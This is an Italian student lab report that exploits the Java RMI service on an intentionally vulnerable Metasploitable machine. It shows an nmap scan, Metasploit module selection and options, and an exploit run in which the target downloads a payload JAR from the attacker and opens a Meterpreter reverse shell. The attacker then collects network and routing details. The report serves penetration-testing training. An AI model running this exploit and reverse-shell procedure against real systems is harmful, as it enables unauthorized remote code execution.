

Progetto W7

Exploit Java RMI

Traccia

La nostra macchina Metasploitable presenta un servizio vulnerabile sulla porta 1099 – Java RMI. Si richiede allo studente di sfruttare la vulnerabilità con Metasploit al fine di ottenere una sessione di Meterpreter sulla macchina remota.

I requisiti dell'esercizio sono:

- La macchina attaccante (KALI) deve avere il seguente indirizzo IP: 192.168.11.111
- La macchina vittima (Metasploitable) deve avere il seguente indirizzo IP: 192.168.11.112
- Scansione della macchina con nmap per evidenziare la vulnerabilità.
- Una volta ottenuta una sessione remota Meterpreter, lo studente deve raccogliere le seguenti evidenze sulla macchina remota: 1) configurazione di rete ; 2) informazioni sulla tabella di routing della macchina vittima.

Configurazione di rete richiesta

Sono stati modificati gli indirizzi IP di Kali Linux e Metasploitable come richiesto dalla traccia. Successivamente, è stata verificata la loro comunicazione avviando un ping dal terminale.

```
GNU nano 7.2 /etc/network/interfaces

# This file describes the network interfaces available on your system
# and how to activate them. For more information, see interfaces(5).

source /etc/network/interfaces.d/*

# The loopback network interface
auto lo
iface lo inet loopback

auto eth0
iface eth0 inet static
address 192.168.11.111/24
gateway 192.168.1.1
```

```
File Actions Edit View Help

(kali@kali)-[~]
$ ping 192.168.11.112
PING 192.168.11.112 (192.168.11.112) 56(84) bytes of data.
64 bytes from 192.168.11.112: icmp_seq=1 ttl=64 time=0.312 ms
64 bytes from 192.168.11.112: icmp_seq=2 ttl=64 time=0.334 ms
64 bytes from 192.168.11.112: icmp_seq=3 ttl=64 time=0.717 ms
^C
— 192.168.11.112 ping statistics —
3 packets transmitted, 3 received, 0% packet loss, time 2052ms
rtt min/avg/max/mdev = 0.312/0.454/0.717/0.185 ms

(kali@kali)-[~]
$
```

Scansione con nmap

È stata eseguita una scansione di tutte le porte e servizi attivi su Metasploitable utilizzando nmap. Questo ha confermato che il servizio java-rmi è in ascolto sulla porta 1099. Quella sarà quindi il bersaglio dell'attacco.

```
(kali@kali)-[~]
$ nmap -sV 192.168.11.112
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-01-19 09:38 CET
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid s
ervers with --dns-servers
Nmap scan report for 192.168.11.112
Host is up (0.00018s latency).
Not shown: 977 closed tcp ports (conn-refused)
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          vsftpd 2.3.4
22/tcp    open  ssh          OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp    open  telnet       Linux telnetd
25/tcp    open  smtp         Postfix smtpd
53/tcp    open  domain       ISC BIND 9.4.2
80/tcp    open  http         Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp   open  rpcbind      2 (RPC #100000)
139/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp   open  exec         netkit-rsh rexecd
513/tcp   open  login?
514/tcp   open  shell
1099/tcp  open  java-rmi     GNU Classpath grmiregistry
1524/tcp  filtered ingreslock
2049/tcp  open  nfs          2-4 (RPC #100003)
2121/tcp  open  ftp          ProFTPD 1.3.1
3306/tcp  open  mysql        MySQL 5.0.51a-3ubuntu5
5432/tcp  open  postgresql   PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp  open  vnc          VNC (protocol 3.3)
6000/tcp  open  X11          (access denied)
6667/tcp  open  irc          UnrealIRCd
8009/tcp  open  ajp13        Apache Jserv (Protocol v1.3)
8180/tcp  open  http         Apache Tomcat/Coyote JSP engine 1.1
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 53.76 seconds

(kali@kali)-[~]
$
```


Avvio metasploit

Utilizzando il comando **msfconsole**, è stato avviato il tool di Metasploit che sarà utilizzato per eseguire l'exploit sulla porta 1099.

```
(kali㉿kali)-[~]
$ msfconsole
Metasploit tip: Use the analyze command to suggest runnable modules for hosts

Call trans opt: received. 2-19-98 13:24:18 REC:Loc

Trace program: running

    wake up, Neo...
the matrix has you
follow the white rabbit.

knock, knock, Neo.
```



<https://metasploit.com>

```
= [ metasploit v6.3.50-dev ]
+ -- ==[ 2384 exploits - 1235 auxiliary - 417 post ]
+ -- ==[ 1391 payloads - 46 encoders - 11 nops ]
+ -- ==[ 9 evasion ]
```

Metasploit Documentation: <https://docs.metasploit.com/>

Procedimento

Utilizzando il comando "search", sono stati ricercati gli exploit disponibili per il servizio java_rmi. Successivamente, è stato utilizzato il comando "use" per selezionare l'exploit nella riga #1. Dopodiché è stato scelto il payload predefinito e con il comando "show options" sono stati visualizzati i campi necessari per eseguire correttamente l'exploit.

```
msf6 > search java_rmi
```

Matching Modules

#	Name	Disclosure Date	Rank	Check	Description
0	auxiliary/gather/java_rmi_registry		normal	No	Java RMI Registry Interfaces Enumeration
1	exploit/multi/misc/java_rmi_server	2011-10-15	excellent	Yes	Java RMI Server Insecure Default Configuration Java Code Execution
2	auxiliary/scanner/misc/java_rmi_server	2011-10-15	normal	No	Java RMI Server Insecure Endpoint Code Execution Scanner
3	exploit/multi/browser/java_rmi_connection_impl	2010-03-31	excellent	No	Java RMIConnectionImpl Deserialization Privilege Escalation

Interact with a module by name or index. For example `info 3`, `use 3` or `use exploit/multi/browser/java_rmi_connection_impl`

```
msf6 > use 1
```

```
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
```

```
msf6 exploit(multi/misc/java_rmi_server) > show options
```

Module options (exploit/multi/misc/java_rmi_server):

Name	Current Setting	Required	Description
HTTPDELAY	10	yes	Time that the HTTP Server will wait for the payload request
RHOSTS		yes	The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basic-s/using-metasploit.html
RPORT	1099	yes	The target port (TCP)
SRVHOST	0.0.0.0	yes	The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT	8080	yes	The local port to listen on.
SSL	false	no	Negotiate SSL for incoming connections
SSLCert		no	Path to a custom SSL certificate (default is randomly generated)
URIPATH		no	The URI to use for this exploit (default is random)

Payload options (java/meterpreter/reverse_tcp):

Name	Current Setting	Required	Description
LHOST	192.168.11.111	yes	The listen address (an interface may be specified)
LPORT	4444	yes	The listen port

Exploit target:

Id	Name
--	--
0	Generic (Java Payload)

Set dei comandi

Sono state effettuate solo impostazioni per l'indirizzo IP del bersaglio utilizzando il comando "set RHOSTS". Successivamente, eseguendo nuovamente il comando delle opzioni, è stato confermato che tutto fosse stato impostato correttamente.

```
msf6 exploit(multi/misc/java_rmi_server) > set RHOSTS 192.168.11.112
RHOSTS => 192.168.11.112
msf6 exploit(multi/misc/java_rmi_server) > show options
```

Module options (exploit/multi/misc/java_rmi_server):

Name	Current Setting	Required	Description
HTTPDELAY	10	yes	Time that the HTTP Server will wait for the payload request
RHOSTS	192.168.11.112	yes	The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basic/using-metasploit.html
RPORT	1099	yes	The target port (TCP)
SRVHOST	0.0.0.0	yes	The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT	8080	yes	The local port to listen on.
SSL	false	no	Negotiate SSL for incoming connections
SSLCert		no	Path to a custom SSL certificate (default is randomly generated)
URIPATH		no	The URI to use for this exploit (default is random)

Payload options (java/meterpreter/reverse_tcp):

Name	Current Setting	Required	Description
LHOST	192.168.11.111	yes	The listen address (an interface may be specified)
LPORT	4444	yes	The listen port

Exploit target:

Id	Name
0	Generic (Java Payload)

View the full module info with the `info`, or `info -d` command.

```
msf6 exploit(multi/misc/java_rmi_server) > █
```

Exploit in esecuzione

L'exploit è stato avviato. Una volta stabilito il collegamento, come richiesto dalla traccia, sono state raccolte le informazioni sulla configurazione di rete utilizzando il comando "ifconfig" e le informazioni sulla tabella di routing con il comando "route".

```
msf6 exploit(multi/misc/java_rmi_server) > exploit

[*] Started reverse TCP handler on 192.168.11.111:4444
[*] 192.168.11.112:1099 - Using URL: http://192.168.11.111:8080/NEwdN9E
[*] 192.168.11.112:1099 - Server started.
[*] 192.168.11.112:1099 - Sending RMI Header ...
[*] 192.168.11.112:1099 - Sending RMI Call ...
[*] 192.168.11.112:1099 - Replied to request for payload JAR
[*] Sending stage (57971 bytes) to 192.168.11.112
[*] Meterpreter session 1 opened (192.168.11.111:4444 → 192.168.11.112:44406) at 2024-01-19 09:54:54 +0100

meterpreter > ifconfig

Interface 1
=====
Name       : lo - lo
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ::

Interface 2
=====
Name       : eth0 - eth0
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 192.168.11.112
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::a00:27ff:feca:e27f
IPv6 Netmask : ::

meterpreter > route

IPv4 network routes
=====

```

Subnet	Netmask	Gateway	Metric	Interface
127.0.0.1	255.0.0.0	0.0.0.0		
192.168.11.112	255.255.255.0	0.0.0.0		

```


IPv6 network routes
=====

```

Subnet	Netmask	Gateway	Metric	Interface
::1	::	::		
fe80::a00:27ff:feca:e27f	::	::		

```
meterpreter > █
```




Fine della presentazione

Amedeo Natalizi